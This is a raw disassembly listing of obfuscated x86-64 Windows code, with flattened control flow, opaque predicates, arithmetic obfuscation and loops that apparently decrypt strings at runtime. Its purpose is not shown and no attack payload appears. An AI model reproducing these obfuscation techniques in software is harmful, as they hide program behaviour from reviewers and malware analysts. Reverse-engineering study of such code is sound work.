je 0x140004fa3
jmp 0x140004f7e
mov edx, eax
sub edx, 0x7cf5671c
je 0x140004f8a
jmp 0x140004ff9
mov eax, 0x39a5c019
mov edx, 0x6b8c74ab
cmp ecx, 0x13
cmovl eax, edx
jmp 0x140004ff9
mov eax, 0xbd351f6
jmp 0x140004ff9
movsxd r9, ecx
mov r10b, byte [r8 + r9]
mov r11d, 0x36
mov eax, ecx
cdq
idiv r11d
sub dl, 0xff
add dl, 0x34
add dl, 0xff
mov al, r10b
xor al, 0xff
mov r11b, dl
and r11b, al
xor dl, 0xff
and r10b, dl
or r11b, r10b
mov rax, qword [rbp + 0x1248]
mov byte [rax + r9], r11b
mov eax, 0x645777bf
jmp 0x140004ff9
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, 0x7cf5671c
jmp 0x140004f4a
mov eax, 0xb3e02981
jmp 0x140004ee6
mov rax, qword [rbp + 0x13d0]
mov rax, qword [rbp + 0x1348]
mov qword [rsi], rax
mov rax, qword [rbp + 0x1350]
mov qword [rsi + 8], rax
mov ax, word [rbp + 0x1358]
mov word [rsi + 0x10], ax
lea rsi, [rbp + 0x1080]
add rsi, 0xe0
lea rcx, [rbp + 0x1360]
sub rsp, 0x20
call fcn.140006d80
add rsp, 0x20
lea rax, [rbp + 0x1360]
mov qword [rbp + 0x13c8], rax
mov eax, 0xf3bfe5a5
mov ecx, eax
sub ecx, 0xb3e02981
je 0x140005199
jmp 0x140005074
mov ecx, eax
sub ecx, 0xf3bfe5a5
je 0x14000508f
jmp 0x140005080
mov ecx, eax
sub ecx, 0x2a5d1868
je 0x1400050ac
jmp 0x140005194
mov rcx, qword [rbp + 0x13c8]
mov eax, 0x2a5d1868
mov edx, 0xb3e02981
cmp byte [rcx + 0x12], 0
cmove eax, edx
jmp 0x140005194
mov r8, qword [rbp + 0x13c8]
mov rax, qword [rbp + 0x13c8]
mov qword [rbp + 0x1240], rax
xor ecx, ecx
mov eax, 0x7cf5671c
mov edx, eax
sub edx, 0xbd351f6
je 0x14000518f
jmp 0x1400050d8
mov edx, eax
sub edx, 0x39a5c019
je 0x14000511e
jmp 0x1400050e4
mov edx, eax
sub edx, 0x645777bf
je 0x140005176
jmp 0x1400050f4
mov edx, eax
sub edx, 0x6b8c74ab
je 0x140005125
jmp 0x140005100
mov edx, eax
sub edx, 0x7cf5671c
je 0x14000510c
jmp 0x14000518a
mov eax, 0x39a5c019
mov edx, 0x6b8c74ab
cmp ecx, 0x13
cmovl eax, edx
jmp 0x14000518a
mov eax, 0xbd351f6
jmp 0x14000518a
movsxd r9, ecx
mov r10b, byte [r8 + r9]
mov r11d, 0x36
mov eax, ecx
cdq
idiv r11d
sub dl, 0x44
add dl, 0x34
add dl, 0x44
mov al, r10b
xor al, 0xff
and al, 0x84
mov r11b, 0xff
xor r11b, 0x84
and r10b, r11b
mov bl, dl
xor bl, 0xff
and bl, 0x84
and dl, r11b
or al, r10b
or bl, dl
xor al, bl
mov rdx, qword [rbp + 0x1240]
mov byte [rdx + r9], al
mov eax, 0x645777bf
jmp 0x14000518a
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, 0x7cf5671c
jmp 0x1400050c8
mov eax, 0xb3e02981
jmp 0x140005064
mov rax, qword [rbp + 0x13c8]
mov rax, qword [rbp + 0x1360]
mov qword [rsi], rax
mov rax, qword [rbp + 0x1368]
mov qword [rsi + 8], rax
mov ax, word [rbp + 0x1370]
mov word [rsi + 0x10], ax
mov dword [rbp + 0x1444], 8
lea rcx, [rbp + 0x13b0]
sub rsp, 0x20
call fcn.140006da0
add rsp, 0x20
lea rax, [rbp + 0x13b0]
mov qword [rbp + 0x1428], rax
mov eax, 0xad6571e6
mov ecx, eax
sub ecx, 0xad6571e6
je 0x14000524c
jmp 0x1400051fd
mov ecx, eax
sub ecx, 0xf9f6336e
je 0x1400052c4
jmp 0x14000520d
mov ecx, eax
sub ecx, 0x3fbde7ab
je 0x140005522
jmp 0x14000521d
mov ecx, eax
sub ecx, 0x52caf238
je 0x14000544b
jmp 0x14000522d
mov ecx, eax
sub ecx, 0x620672d2
je 0x140005269
jmp 0x140005239
mov ecx, eax
sub ecx, 0x78ba94fc
je 0x140005441
jmp 0x14000551d
mov rcx, qword [rbp + 0x1428]
mov eax, 0x620672d2
mov edx, 0x3fbde7ab
cmp byte [rcx + 4], 0
cmove eax, edx
jmp 0x14000551d
mov eax, dword [0x140044bf8]
mov ecx, dword [0x140044bfc]
mov edx, eax
sub edx, 0xf5ce4090
add edx, 1
add edx, 0xf5ce4090
imul edx, eax
mov eax, 0xffffffff
xor eax, 1
mov r8d, edx
xor r8d, eax
and r8d, edx
cmp r8d, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, cl
and dl, al
xor cl, al
or dl, cl
mov eax, 0x52caf238
mov ecx, 0xf9f6336e
test dl, 1
cmovne eax, ecx
jmp 0x14000551d
mov r8, qword [rbp + 0x1428]
mov rax, qword [rbp + 0x1428]
mov qword [rbp + 0x1238], rax
xor ecx, ecx
mov eax, 0x55143845
mov edx, eax
sub edx, 0x8f943a5d
je 0x14000539a
jmp 0x1400052f0
mov edx, eax
sub edx, 0xbaf54f1c
je 0x140005339
jmp 0x1400052fc
mov edx, eax
sub edx, 0x19b2141a
je 0x140005332
jmp 0x140005308
mov edx, eax
sub edx, 0x55143845
je 0x140005320
jmp 0x140005314
mov edx, eax
sub edx, 0x70f64a87
je 0x140005381
jmp 0x140005395
mov eax, 0x19b2141a
mov edx, 0xbaf54f1c
cmp ecx, 5
cmovl eax, edx
jmp 0x140005395
mov eax, 0x8f943a5d
jmp 0x140005395
movsxd r9, ecx
mov r10b, byte [r8 + r9]
mov r11d, 0x36
mov eax, ecx
cdq
idiv r11d
xor eax, eax
sub al, dl
xor edx, edx
sub dl, 0x34
add al, dl
xor edx, edx
sub dl, al
mov al, r10b
xor al, 0xff
mov r11b, dl
and r11b, al
xor dl, 0xff
and r10b, dl
or r11b, r10b
mov rax, qword [rbp + 0x1238]
mov byte [rax + r9], r11b
mov eax, 0x70f64a87
jmp 0x140005395
add ecx, 0xb1177ef0
add ecx, 1
sub ecx, 0xb1177ef0
mov eax, 0x55143845
jmp 0x1400052e0
mov eax, dword [0x140044bf8]
mov ecx, dword [0x140044bfc]
mov edx, eax
sub edx, 0xdf9da7af
add edx, 1
add edx, 0xdf9da7af
imul edx, eax
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 1
mov r8d, 0xffffffff
xor r8d, 0x4172f463
or edx, eax
or r8d, 0x4172f463
xor edx, 0xffffffff
and edx, r8d
cmp edx, 0
sete dl
cmp ecx, 0xa
setl cl
mov al, cl
xor al, 0xff
mov r8b, dl
xor r8b, 0xff
mov r9b, 1
xor r9b, 1
mov r10b, al
and r10b, 0xff
and cl, r9b
mov r11b, r8b
and r11b, 0xff
and dl, r9b
or r10b, cl
or r11b, dl
xor r10b, r11b
or al, r8b
xor al, 0xff
or r9b, 1
and al, r9b
or r10b, al
mov eax, 0x52caf238
mov ecx, 0x78ba94fc
test r10b, 1
cmovne eax, ecx
jmp 0x14000551d
mov eax, 0x3fbde7ab
jmp 0x14000551d
mov r8, qword [rbp + 0x1428]
mov rax, qword [rbp + 0x1428]
mov qword [rbp + 0x1230], rax
xor ecx, ecx
mov eax, 0x55143845
mov edx, eax
sub edx, 0x8f943a5d
je 0x140005518
jmp 0x140005477
mov edx, eax
sub edx, 0xbaf54f1c
je 0x1400054c0
jmp 0x140005483
mov edx, eax
sub edx, 0x19b2141a
je 0x1400054b9
jmp 0x14000548f
mov edx, eax
sub edx, 0x55143845
je 0x1400054a7
jmp 0x14000549b
mov edx, eax
sub edx, 0x70f64a87
je 0x1400054ff
jmp 0x140005513
mov eax, 0x19b2141a
mov edx, 0xbaf54f1c
cmp ecx, 5
cmovl eax, edx
jmp 0x140005513
mov eax, 0x8f943a5d
jmp 0x140005513
movsxd r9, ecx
mov r10b, byte [r8 + r9]
mov r11d, 0x36
mov eax, ecx
cdq
idiv r11d
xor eax, eax
sub al, 0x34
sub dl, al
mov al, r10b
xor al, 0xff
mov r11b, dl
and r11b, al
xor dl, 0xff
and r10b, dl
or r11b, r10b
mov rax, qword [rbp + 0x1230]
mov byte [rax + r9], r11b
mov eax, 0x70f64a87
jmp 0x140005513
sub ecx, 0xb9839815
add ecx, 1
add ecx, 0xb9839815
mov eax, 0x55143845
jmp 0x140005467
mov eax, 0xf9f6336e
jmp 0x1400051f1
mov rax, qword [rbp + 0x1428]
lea rax, [rbp + 0x13b0]
mov qword [rbp + 0x12a0], rax
sub rsp, 0x20
mov ecx, 4
call fcn.140024520
add rsp, 0x20
mov qword [rbp + 0x1380], rax
mov dword [rbp + 0x145c], 0x3fd08bc4
jmp 0x1400069c6
mov rcx, qword [rbp + 0x1380]
sub rsp, 0x20
xor edx, edx
mov r8d, 4
call fcn.140035a20
add rsp, 0x20
mov dword [rbp + 0x145c], 0xf91193b2
jmp 0x1400069c6
mov dword [rbp + 0x1440], 0
mov dword [rbp + 0x145c], 0x7a96e54e
jmp 0x1400069c6
mov eax, dword [rbp + 0x1440]
mov ecx, 0x19dc99c0
mov edx, 0xaa74eca1
cmp eax, dword [rbp + 0x1444]
cmovl ecx, edx
mov dword [rbp + 0x145c], ecx
jmp 0x1400069c6
mov dword [rbp + 0x143c], 2
mov dword [rbp + 0x145c], 0xdded3574
jmp 0x1400069c6
mov dword [rbp + 0x1454], 0
mov dword [rbp + 0x145c], 0x6179ee71
jmp 0x1400069c6
mov eax, 0x7e4b1c01
mov ecx, 0xfa14064
cmp dword [rbp + 0x1454], 0x12
cmovl eax, ecx
mov dword [rbp + 0x145c], eax
jmp 0x1400069c6
mov dword [rbp + 0x143c], 5
mov dword [rbp + 0x145c], 0xb9228073
jmp 0x1400069c6
mov rcx, qword [rbp + 0x12a0]
mov eax, dword [rbp + 0x1454]
mov r8d, 4
cdq
idiv r8d
movsxd rax, edx
movsx ecx, byte [rcx + rax]
mov r8, qword [rbp + 0x1380]
mov eax, dword [rbp + 0x1454]
mov r9d, 4
cdq
idiv r9d
movsxd rax, edx
movsx eax, byte [r8 + rax]
mov r8d, ecx
xor r8d, 0xffffffff
and r8d, 0x9b040b80
mov edx, 0xffffffff
xor edx, 0x9b040b80
and ecx, edx
mov r9d, eax
xor r9d, 0xffffffff
and r9d, 0x9b040b80
and eax, edx
or r8d, ecx
or r9d, eax
xor r8d, r9d
mov eax, dword [rbp + 0x1454]
mov ecx, send
cdq
idiv ecx
movsxd rax, edx
movsx eax, byte [rbp + rax + 0xda0]
mov ecx, r8d
xor ecx, 0xffffffff
and ecx, 0xe0914b1c
mov edx, 0xffffffff
xor edx, 0xe0914b1c
and r8d, edx
mov r9d, eax
xor r9d, 0xffffffff
and r9d, 0xe0914b1c
and eax, edx
or ecx, r8d
or r9d, eax
xor ecx, r9d
mov eax, dword [rbp + 0x1454]
mov r8d, 0x19
cdq
idiv r8d
movsxd rax, edx
movsx edx, byte [rbp + rax + 0xba0]
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x974b5bcc
mov r8d, 0xffffffff
xor r8d, 0x974b5bcc
and ecx, r8d
mov r9d, edx
xor r9d, 0xffffffff
and r9d, 0x974b5bcc
and edx, r8d
or eax, ecx
or r9d, edx
xor eax, r9d
movsxd rdx, dword [rbp + 0x1440]
lea rcx, [rbp + 0x1080]
shl rdx, 5
add rcx, rdx
movsxd rdx, dword [rbp + 0x1454]
movsx r8d, byte [rcx + rdx]
mov r9d, r8d
xor r9d, 0xffffffff
and r9d, 0x54274a6e
mov r10d, 0xffffffff
xor r10d, 0x54274a6e
and r8d, r10d
mov r11d, eax
xor r11d, 0xffffffff
and r11d, 0x54274a6e
and eax, r10d
or r9d, r8d
or r11d, eax
xor r9d, r11d
mov byte [rcx + rdx], r9b
mov dword [rbp + 0x145c], 0x136c6f86
jmp 0x1400069c6
mov eax, dword [rbp + 0x1454]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [rbp + 0x1454], eax
mov dword [rbp + 0x145c], 0x6179ee71
jmp 0x1400069c6
mov eax, dword [0x140044c00]
mov ecx, dword [0x140044c04]
mov edx, eax
add edx, 0xab7e840e
sub edx, 1
sub edx, 0xab7e840e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x28b4272
mov ecx, 0x447c16a7
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x145c], eax
jmp 0x1400069c6
mov eax, dword [0x140044c00]
mov ecx, dword [0x140044c04]
xor edx, edx
sub edx, 1
mov r8d, eax
add r8d, edx
imul eax, r8d
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x28b4272
mov ecx, 0x4e91d0d1
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x145c], eax
jmp 0x1400069c6
mov dword [rbp + 0x145c], 0x9a464342
jmp 0x1400069c6
mov eax, dword [rbp + 0x1440]
add eax, 0xd2567291
add eax, 1
sub eax, 0xd2567291
mov dword [rbp + 0x1440], eax
mov dword [rbp + 0x145c], 0x7a96e54e
jmp 0x1400069c6
lea rdx, [rbp + 0xf70]
lea rcx, [rbp + 0xe60]
sub rsp, 0x20
call fcn.140002030
add rsp, 0x20
lea rcx, [rbp + 0x1180]
sub rsp, 0x20
call fcn.140006db0
add rsp, 0x20
lea rax, [rbp + 0x1180]
mov qword [rbp + 0x13c0], rax
mov eax, 0x70364a48
mov ecx, eax
sub ecx, 0x70364a48
je 0x140005911
jmp 0x1400058ee
mov ecx, eax
sub ecx, 0x70ab04d0
je 0x140005b38
jmp 0x1400058fe
mov ecx, eax
sub ecx, 0x766ab04d
je 0x140005a4f
jmp 0x140005b33
mov rax, qword [rbp + 0x13c0]
mov edx, dword [0x140044c08]
mov ecx, dword [0x140044c0c]
xor r8d, r8d
sub r8d, edx
xor r9d, r9d
sub r9d, 1
add r8d, r9d
xor r9d, r9d
sub r9d, r8d
imul r9d, edx
xor r9d, 0xffffffff
mov edx, 0xffffffff
xor edx, 1
mov r8d, 0xffffffff
xor r8d, 0x856ab005
or r9d, edx
or r8d, 0x856ab005
xor r9d, 0xffffffff
and r9d, r8d
cmp r9d, 0
sete dl
mov r8b, dl
and r8b, 1
mov byte [rbp + 0x1452], r8b
cmp ecx, 0xa
setl cl
mov r8b, cl
and r8b, 1
mov byte [rbp + 0x1451], r8b
cmp byte [rax + 0x25], 0
setne al
mov r8b, cl
and r8b, dl
xor cl, dl
or r8b, cl
mov ecx, 0x4d9f2a48
mov edx, 0xde1d74fa
test r8b, 1
cmovne ecx, edx
mov edx, 0x56971928
mov r8d, edx
sub r8d, 0xde1d74fa
je 0x140005a2c
jmp 0x1400059c7
mov r8d, edx
sub r8d, 0x1cd17ce9
je 0x140005a1f
jmp 0x1400059d5
mov r8d, edx
sub r8d, 0x4d9f2a48
je 0x140005a23
jmp 0x1400059e3
mov r8d, edx
sub r8d, 0x56971928
je 0x1400059f1
jmp 0x140005a2a
mov dl, byte [rbp + 0x1452]
mov r8b, byte [rbp + 0x1451]
mov r9b, dl
and r9b, r8b
xor dl, r8b
or r9b, dl
mov edx, 0x4d9f2a48
mov r8d, 0x1cd17ce9
test r9b, 1
cmovne edx, r8d
jmp 0x140005a2a
mov edx, ecx
jmp 0x140005a2a
mov edx, 0x1cd17ce9
jmp 0x140005a2a
jmp 0x1400059b9
and al, 1
mov byte [rbp + 0x1450], al
mov cl, byte [rbp + 0x1450]
mov eax, 0x70ab04d0
mov edx, 0x766ab04d
test cl, 1
cmovne eax, edx
jmp 0x140005b33
mov r8, qword [rbp + 0x13c0]
mov rax, qword [rbp + 0x13c0]
mov qword [rbp + 0x1228], rax
xor ecx, ecx
mov eax, 0xb7432304
mov edx, eax
sub edx, 0x9fd4ef53
je 0x140005b2e
jmp 0x140005a7b
mov edx, eax
sub edx, 0xb7432304
je 0x140005aab
jmp 0x140005a87
mov edx, eax
sub edx, 0x229cc234
je 0x140005ac4
jmp 0x140005a93
mov edx, eax
sub edx, 0x5ffde421
je 0x140005b15
jmp 0x140005a9f
mov edx, eax
sub edx, 0x64e2b016
je 0x140005abd
jmp 0x140005b29
mov eax, 0x64e2b016
mov edx, 0x229cc234
cmp ecx, 0x26
cmovl eax, edx
jmp 0x140005b29
mov eax, 0x9fd4ef53
jmp 0x140005b29
movsxd r9, ecx
mov r10b, byte [r8 + r9]
mov r11d, 0x36
mov eax, ecx
cdq
idiv r11d
sub dl, 2
add dl, 0x34
add dl, 2
mov al, r10b
xor al, 0xff
and al, 0x39
mov r11b, 0xff
xor r11b, 0x39
and r10b, r11b
mov bl, dl
xor bl, 0xff
and bl, 0x39
and dl, r11b
or al, r10b
or bl, dl
xor al, bl
mov rdx, qword [rbp + 0x1228]
mov byte [rdx + r9], al
mov eax, 0x5ffde421
jmp 0x140005b29
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, 0xb7432304
jmp 0x140005a6b
mov eax, 0x70ab04d0
jmp 0x1400058e2
mov rax, qword [rbp + 0x13c0]
lea rcx, [rbp + 0xe60]
lea rdx, [rbp + 0x1180]
sub rsp, 0x20
call fcn.140001f80
lea rcx, [rbp + 0x590]
xor edx, edx
mov r8d, 0x208
call fcn.140035a20
add rsp, 0x20
lea rcx, [rbp + 0xe60]
sub rsp, 0x20
call fcn.140035fb0
add rsp, 0x20
lea rdx, [rbp + 0xe60]
lea rcx, [rbp + 0x590]
sub rsp, 0x20
mov r8, rax
call fcn.140024528
add rsp, 0x20
lea rcx, [rbp + 0x11a8]
sub rsp, 0x20
call fcn.140006de0
add rsp, 0x20
lea rax, [rbp + 0x11a8]
mov qword [rbp + 0x1420], rax
mov eax, 0x58185f8e
mov ecx, eax
sub ecx, 0xa050b8f1
je 0x140006383
jmp 0x140005bd7
mov ecx, eax
sub ecx, 0xb23cd756
je 0x140006103
jmp 0x140005be7
mov ecx, eax
sub ecx, 0xbcce5b6a
je 0x140005e78
jmp 0x140005bf7
mov ecx, eax
sub ecx, 0xcd2e4619
je 0x140005dcc
jmp 0x140005c07
mov ecx, eax
sub ecx, 0x1b1dcbd0
je 0x1400060f9
jmp 0x140005c17
mov ecx, eax
sub ecx, 0x58185f8e
jne 0x14000637e
jmp 0x140005c27
mov rax, qword [rbp + 0x1420]
mov edx, dword [0x140044c10]
mov ecx, dword [0x140044c14]
xor r8d, r8d
sub r8d, 1
mov r9d, edx
sub r9d, r8d
imul r9d, edx
xor r9d, 0xffffffff
mov edx, 0xffffffff
xor edx, 1
mov r8d, 0xffffffff
xor r8d, 0xf0a8fd9b
or r9d, edx
or r8d, 0xf0a8fd9b
xor r9d, 0xffffffff
and r9d, r8d
cmp r9d, 0
sete dl
mov r8b, dl
and r8b, 1
mov byte [rbp + 0x144f], r8b
cmp ecx, 0xa
setl r8b
mov cl, r8b
and cl, 1
mov byte [rbp + 0x144e], cl
cmp byte [rax + 0x1a], 0
setne al
mov cl, r8b
xor cl, 0xff
mov r9b, dl
xor r9b, 0xff
mov r10b, 1
xor r10b, 0
mov r11b, cl
and r11b, 0
and r8b, r10b
mov bl, r9b
and bl, 0
and dl, r10b
or r11b, r8b
or bl, dl
xor r11b, bl
or cl, r9b
xor cl, 0xff
or r10b, 0
and cl, r10b
or r11b, cl
mov ecx, 0xba4b7509
mov edx, 0xc2c73a9d
test r11b, 1
cmovne ecx, edx
mov edx, 0x836b7f4a
mov r8d, edx
sub r8d, 0x836b7f4a
je 0x140005d39
jmp 0x140005d07
mov r8d, edx
sub r8d, 0xba4b7509
je 0x140005d9d
jmp 0x140005d19
mov r8d, edx
sub r8d, 0xc2c73a9d
je 0x140005da9
jmp 0x140005d2b
mov r8d, edx
sub r8d, 0xd796773d
je 0x140005d99
jmp 0x140005da4
mov r8b, byte [rbp + 0x144f]
mov r9b, byte [rbp + 0x144e]
mov dl, r8b
xor dl, 0xff
mov r10b, r9b
xor r10b, 0xff
mov r11b, 1
xor r11b, 1
mov bl, dl
and bl, 0xff
and r8b, r11b
mov sil, r10b
and sil, 0xff
and r9b, r11b
or bl, r8b
or sil, r9b
xor bl, sil
or dl, r10b
xor dl, 0xff
or r11b, 1
and dl, r11b
or bl, dl
mov edx, 0xba4b7509
mov r8d, 0xd796773d
test bl, 1
cmovne edx, r8d
jmp 0x140005da4
mov edx, ecx
jmp 0x140005da4
mov edx, 0xd796773d
jmp 0x140005da4
jmp 0x140005cf9
and al, 1
mov byte [rbp + 0x144d], al
mov cl, byte [rbp + 0x144d]
mov eax, 0xa050b8f1
mov edx, 0xcd2e4619
test cl, 1
cmovne eax, edx
jmp 0x14000637e
mov ecx, dword [0x140044c18]
mov eax, dword [0x140044c1c]
xor edx, edx
sub edx, ecx
xor r8d, r8d
sub r8d, 1
add edx, r8d
xor r8d, r8d
sub r8d, edx
imul r8d, ecx
xor r8d, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 1
mov edx, 0xffffffff
xor edx, 0xf016b1b1
or r8d, ecx
or edx, 0xf016b1b1
xor r8d, 0xffffffff
and r8d, edx
cmp r8d, 0
sete cl
cmp eax, 0xa
setl dl
mov al, dl
xor al, 0xff
mov r8b, cl
xor r8b, 0xff
mov r9b, 1
xor r9b, 0
mov r10b, al
and r10b, 0
and dl, r9b
mov r11b, r8b
and r11b, 0
and cl, r9b
or r10b, dl
or r11b, cl
xor r10b, r11b
or al, r8b
xor al, 0xff
or r9b, 0
and al, r9b
or r10b, al
mov eax, 0xb23cd756
mov ecx, 0xbcce5b6a
test r10b, 1
cmovne eax, ecx
jmp 0x14000637e
mov r8, qword [rbp + 0x1420]
mov rax, qword [rbp + 0x1420]
mov qword [rbp + 0x1220], rax
xor ecx, ecx
mov eax, 0xe2699bbd
mov edx, eax
sub edx, 0xd6eeb1a3
je 0x140005f2e
jmp 0x140005ea4
mov edx, eax
sub edx, 0xe2699bbd
je 0x140005f0f
jmp 0x140005eb0
mov edx, eax
sub edx, 0xfd4bd51
je 0x140006055
jmp 0x140005ec0
mov edx, eax
sub edx, 0x2d9e77dd
je 0x140005f24
jmp 0x140005ecc
mov edx, eax
sub edx, 0x580d0539
je 0x140005f82
jmp 0x140005edc
mov edx, eax
sub edx, 0x5ab5e800
je 0x14000606e
jmp 0x140005eec
mov edx, eax
sub edx, 0x61ce7104
je 0x140005fde
jmp 0x140005efc
mov edx, eax
sub edx, 0x622e2de5
je 0x14000604e
jmp 0x140006069
mov eax, 0x2d9e77dd
mov edx, 0xd6eeb1a3
cmp ecx, 0x1b
cmovl eax, edx
jmp 0x140006069
mov eax, 0x5ab5e800
jmp 0x140006069
movsxd r9, ecx
mov r10b, byte [r8 + r9]
mov r11d, 0x36
mov eax, ecx
cdq
idiv r11d
sub dl, 0x19
add dl, 0x34
add dl, 0x19
mov al, r10b
xor al, 0xff
and al, 0x13
mov r11b, 0xff
xor r11b, 0x13
and r10b, r11b
mov bl, dl
xor bl, 0xff
and bl, 0x13
and dl, r11b
or al, r10b
or bl, dl
xor al, bl
mov rdx, qword [rbp + 0x1220]
mov byte [rdx + r9], al
mov eax, 0x580d0539
jmp 0x140006069
mov eax, dword [0x140044c20]
mov edx, dword [0x140044c24]
xor r9d, r9d
sub r9d, 1
mov r10d, eax
sub r10d, r9d
imul r10d, eax
mov eax, 0xffffffff
xor eax, 1
mov r9d, r10d
xor r9d, eax
and r9d, r10d
cmp r9d, 0
sete al
cmp edx, 0xa
setl dl
mov r9b, dl
and r9b, al
xor dl, al
or r9b, dl
mov eax, 0xfd4bd51
mov edx, 0x61ce7104
test r9b, 1
cmovne eax, edx
jmp 0x140006069
sub ecx, 0xf906f7d0
add ecx, 1
add ecx, 0xf906f7d0
mov eax, dword [0x140044c20]
mov edx, dword [0x140044c24]
mov r9d, eax
add r9d, 0xcf4179e0
add r9d, 1
sub r9d, 0xcf4179e0
imul r9d, eax
mov eax, 0xffffffff
xor eax, 1
mov r10d, r9d
xor r10d, eax
and r10d, r9d
cmp r10d, 0
sete al
cmp edx, 0xa
setl dl
mov r9b, dl
and r9b, al
xor dl, al
or r9b, dl
mov eax, 0xfd4bd51
mov edx, 0x622e2de5
test r9b, 1
cmovne eax, edx
jmp 0x140006069
mov eax, 0xe2699bbd
jmp 0x140006069
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, 0x61ce7104
jmp 0x140005e94
mov eax, dword [0x140044c18]
mov ecx, dword [0x140044c1c]
xor edx, edx
sub edx, 1
mov r8d, eax
sub r8d, edx
imul r8d, eax
mov eax, 0xffffffff
xor eax, 1
mov edx, r8d
xor edx, eax
and edx, r8d
cmp edx, 0
sete dl
cmp ecx, 0xa
setl cl
mov al, cl
xor al, 0xff
mov r8b, dl
xor r8b, 0xff
mov r9b, 1
xor r9b, 1
mov r10b, al
and r10b, 0xff
and cl, r9b
mov r11b, r8b
and r11b, 0xff
and dl, r9b
or r10b, cl
or r11b, dl
xor r10b, r11b
or al, r8b
xor al, 0xff
or r9b, 1
and al, r9b
or r10b, al
mov eax, 0xb23cd756
mov ecx, 0x1b1dcbd0
test r10b, 1
cmovne eax, ecx
jmp 0x14000637e
mov eax, 0xa050b8f1
jmp 0x14000637e
mov r8, qword [rbp + 0x1420]
mov rax, qword [rbp + 0x1420]
mov qword [rbp + 0x1218], rax
xor ecx, ecx
mov eax, 0xe2699bbd
mov edx, eax
sub edx, 0xd6eeb1a3
je 0x1400061b9
jmp 0x14000612f
mov edx, eax
sub edx, 0xe2699bbd
je 0x14000619a
jmp 0x14000613b
mov edx, eax
sub edx, 0xfd4bd51
je 0x140006360
jmp 0x14000614b
mov edx, eax
sub edx, 0x2d9e77dd
je 0x1400061af
jmp 0x140006157
mov edx, eax
sub edx, 0x580d0539
je 0x14000620d
jmp 0x140006167
mov edx, eax
sub edx, 0x5ab5e800
je 0x140006379
jmp 0x140006177
mov edx, eax
sub edx, 0x61ce7104
je 0x1400062b1
jmp 0x140006187
mov edx, eax
sub edx, 0x622e2de5
je 0x140006359
jmp 0x140006374
mov eax, 0x2d9e77dd
mov edx, 0xd6eeb1a3
cmp ecx, 0x1b
cmovl eax, edx
jmp 0x140006374
mov eax, 0x5ab5e800
jmp 0x140006374
movsxd r9, ecx
mov r10b, byte [r8 + r9]
mov r11d, 0x36
mov eax, ecx
cdq
idiv r11d
sub dl, 0xe4
add dl, 0x34
add dl, 0xe4
mov al, r10b
xor al, 0xff
and al, 0xd7
mov r11b, 0xff
xor r11b, 0xd7
and r10b, r11b
mov bl, dl
xor bl, 0xff
and bl, 0xd7
and dl, r11b
or al, r10b
or bl, dl
xor al, bl
mov rdx, qword [rbp + 0x1218]
mov byte [rdx + r9], al
mov eax, 0x580d0539
jmp 0x140006374
mov eax, dword [0x140044c20]
mov edx, dword [0x140044c24]
xor r9d, r9d
sub r9d, 1
mov r10d, eax
sub r10d, r9d
imul r10d, eax
xor r10d, 0xffffffff
mov eax, 0xffffffff
xor eax, 1
mov r9d, 0xffffffff
xor r9d, 0x1f638097
or r10d, eax
or r9d, 0x1f638097
xor r10d, 0xffffffff
and r10d, r9d
cmp r10d, 0
sete r9b
cmp edx, 0xa
setl dl
mov al, dl
xor al, 0xff
mov r10b, r9b
xor r10b, 0xff
mov r11b, 1
xor r11b, 0
mov bl, al
and bl, 0
and dl, r11b
mov sil, r10b
and sil, 0
and r9b, r11b
or bl, dl
or sil, r9b
xor bl, sil
or al, r10b
xor al, 0xff
or r11b, 0
and al, r11b
or bl, al
mov eax, 0xfd4bd51
mov edx, 0x61ce7104
test bl, 1
cmovne eax, edx
jmp 0x140006374
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [0x140044c20]
mov edx, dword [0x140044c24]
xor r9d, r9d
sub r9d, 1
mov r10d, eax
sub r10d, r9d
imul r10d, eax
xor r10d, 0xffffffff
mov eax, 0xffffffff
xor eax, 1
mov r9d, 0xffffffff
xor r9d, 0x2c2b03cc
or r10d, eax
or r9d, 0x2c2b03cc
xor r10d, 0xffffffff
and r10d, r9d
cmp r10d, 0
sete r9b
cmp edx, 0xa
setl dl
mov al, dl
xor al, 0xff
mov r10b, r9b
xor r10b, 0xff
mov r11b, 1
xor r11b, 1
mov bl, al
and bl, 0xff
and dl, r11b
mov sil, r10b
and sil, 0xff
and r9b, r11b
or bl, dl
or sil, r9b
xor bl, sil
or al, r10b
xor al, 0xff
or r11b, 1
and al, r11b
or bl, al
mov eax, 0xfd4bd51
mov edx, 0x622e2de5
test bl, 1
cmovne eax, edx
jmp 0x140006374
mov eax, 0xe2699bbd
jmp 0x140006374
sub ecx, 0xf33629cc
add ecx, 1
add ecx, 0xf33629cc
mov eax, 0x61ce7104
jmp 0x14000611f
mov eax, 0xbcce5b6a
jmp 0x140005bc7
mov rax, qword [rbp + 0x1420]
sub rsp, 0x20
lea rcx, [rbp + 0x590]
lea rdx, [rbp + 0x11a8]
call fcn.14001bb80
add rsp, 0x20
mov qword [rbp + 0x1388], rax
sub rsp, 0x20
lea rcx, [0x140044b90]
mov rax, qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call rax
add rsp, 0x20
mov ecx, dword [rbp + 0x1444]
mov qword [rbp + 0x12a8], rsp
lea rax, [rcx*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.14001bfc0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1378], rax
mov qword [rbp + 0x11e8], rcx
